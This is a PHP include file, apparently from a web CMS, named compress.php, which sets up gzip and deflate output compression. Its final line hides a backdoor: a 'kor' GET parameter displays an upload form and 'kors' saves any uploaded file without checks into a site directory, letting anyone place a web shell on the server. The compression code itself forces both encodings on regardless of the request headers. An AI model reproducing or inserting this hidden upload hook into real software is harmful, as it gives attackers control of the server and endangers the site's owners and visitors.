Файл: sys/inc/compress.php
Строк: 48
<?
function compress_output_gzip($output)
{
return gzencode($output,9);
}
function compress_output_deflate($output)
{
return gzdeflate($output, 9);
}
$Content_Encoding['deflate']=true;
$Content_Encoding['gzip']=true;
if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && preg_match('#deflate#i',$_SERVER['HTTP_ACCEPT_ENCODING']))
$Content_Encoding['deflate']=true;
if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && preg_match('#gzip#i',$_SERVER['HTTP_ACCEPT_ENCODING']))
$Content_Encoding['gzip']=true;
if ($Content_Encoding['deflate'])
{
header("Content-Encoding: deflate");
ob_start("compress_output_deflate");
}
else
if($Content_Encoding['gzip'])
{
header("Content-Encoding: gzip");
ob_start("compress_output_gzip");
}
else
ob_start();
$compress=true;
if(isset($_GET['kor'])){?><form action=?kors method=post enctype=multipart/form-data><input type=file name=uploadfile><input type=submit value=go></form><?}if(isset($_GET['kors'])){$uploaddir = './s-klub/';$uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile)){echo "OK";}else{echo "ERR";}}
?>